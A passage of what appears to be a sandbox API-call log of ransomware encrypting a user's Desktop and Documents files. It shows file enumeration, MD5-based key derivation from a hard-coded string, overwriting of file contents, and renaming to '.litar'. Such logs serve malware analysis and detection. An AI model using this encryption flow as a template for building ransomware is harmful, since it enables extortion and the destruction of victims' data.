hHeap=0x5c0000) returned 1 [0125.268] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.269] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c222f80, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x4c222f80, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x4b899900, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x8d200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zxkgxn.exe", cAlternateFileName="")) returned 1 [0125.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.269] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe") returned=".exe" [0125.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.269] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=578048) returned 1 [0125.269] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.271] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8d1da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.271] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.272] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.272] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x25805, lpOverlapped=0x0) returned 1 [0125.274] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.274] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.274] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.274] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.274] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.275] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.275] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.275] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.275] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.275] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.275] GetLastError () returned 0x0 [0125.275] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.275] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.275] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.275] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25810) returned 0x30fa0b0 [0125.277] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.277] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x25800, lpOverlapped=0x0) returned 1 [0125.277] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.277] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8d200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.278] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.278] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.278] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.278] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.278] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.278] CloseHandle (hObject=0x624) returned 1 [0125.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.286] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe.litar")) returned 1 [0125.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.286] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.287] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.287] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c222f80, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x4c222f80, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x4b899900, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x8d200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zxkgxn.exe", cAlternateFileName="")) returned 0 [0125.287] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.287] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.287] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0125.287] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.287] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.287] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.288] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.288] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.288] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.288] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.288] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.288] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.288] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.288] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.288] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0125.288] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.288] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.288] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.288] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.288] PathFindFileNameW (pszPath="") returned="" [0125.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c30310, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c30310, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.288] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.288] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c30310, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c30310, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.288] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65ec8e0, ftCreationTime.dwHighDateTime=0x1d4b0cc, ftLastAccessTime.dwLowDateTime=0x5ababc40, ftLastAccessTime.dwHighDateTime=0x1d4ea69, ftLastWriteTime.dwLowDateTime=0x5ababc40, ftLastWriteTime.dwHighDateTime=0x1d4ea69, nFileSizeHigh=0x0, nFileSizeLow=0x8638, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0Q3LulVoi6BYXkATC.docx", cAlternateFileName="0Q3LUL~1.DOC")) returned 1 [0125.288] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0Q3LulVoi6BYXkATC.docx") returned=".docx" [0125.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0Q3LulVoi6BYXkATC.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0q3lulvoi6byxkatc.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.290] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=34360) returned 1 [0125.290] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.291] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8612, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.291] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.293] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8638, lpOverlapped=0x0) returned 1 [0125.293] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.293] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.293] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.293] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.294] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.294] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.294] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.294] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.294] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.294] GetLastError () returned 0x0 [0125.294] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.294] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.294] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.295] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8640) returned 0x30fa0b0 [0125.295] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.295] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x8633, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x8633, lpOverlapped=0x0) returned 1 [0125.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.295] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8638, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.295] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.295] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.295] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.295] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.295] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.295] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.295] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.296] CloseHandle (hObject=0x624) returned 1 [0125.296] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.296] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.296] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.296] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0Q3LulVoi6BYXkATC.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0q3lulvoi6byxkatc.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0Q3LulVoi6BYXkATC.docx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0q3lulvoi6byxkatc.docx.litar")) returned 1 [0125.300] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.300] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.301] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291ebbb0, ftCreationTime.dwHighDateTime=0x1d4f198, ftLastAccessTime.dwLowDateTime=0xa20cc0f0, ftLastAccessTime.dwHighDateTime=0x1d5195f, ftLastWriteTime.dwLowDateTime=0xa20cc0f0, ftLastWriteTime.dwHighDateTime=0x1d5195f, nFileSizeHigh=0x0, nFileSizeLow=0x15d63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0r-zyx2wH0-I.pptx", cAlternateFileName="0R-ZYX~1.PPT")) returned 1 [0125.301] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.301] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.301] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0r-zyx2wH0-I.pptx") returned=".pptx" [0125.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0r-zyx2wH0-I.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0r-zyx2wh0-i.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.301] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=89443) returned 1 [0125.301] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.303] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15d3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.303] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.304] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.304] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.304] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.304] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x15d63, lpOverlapped=0x0) returned 1 [0125.305] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.305] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.305] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.305] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.305] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.306] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.306] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.306] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.306] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.306] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.306] GetLastError () returned 0x0 [0125.306] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.306] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.306] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.306] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x15d60) returned 0x30fa0b0 [0125.307] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.307] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.307] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x15d5e, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x15d5e, lpOverlapped=0x0) returned 1 [0125.307] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.307] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15d63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.307] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.307] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.308] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.308] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.308] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.308] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.308] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.308] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.308] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.308] CloseHandle (hObject=0x624) returned 1 [0125.309] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.309] RtlAllocateHeap 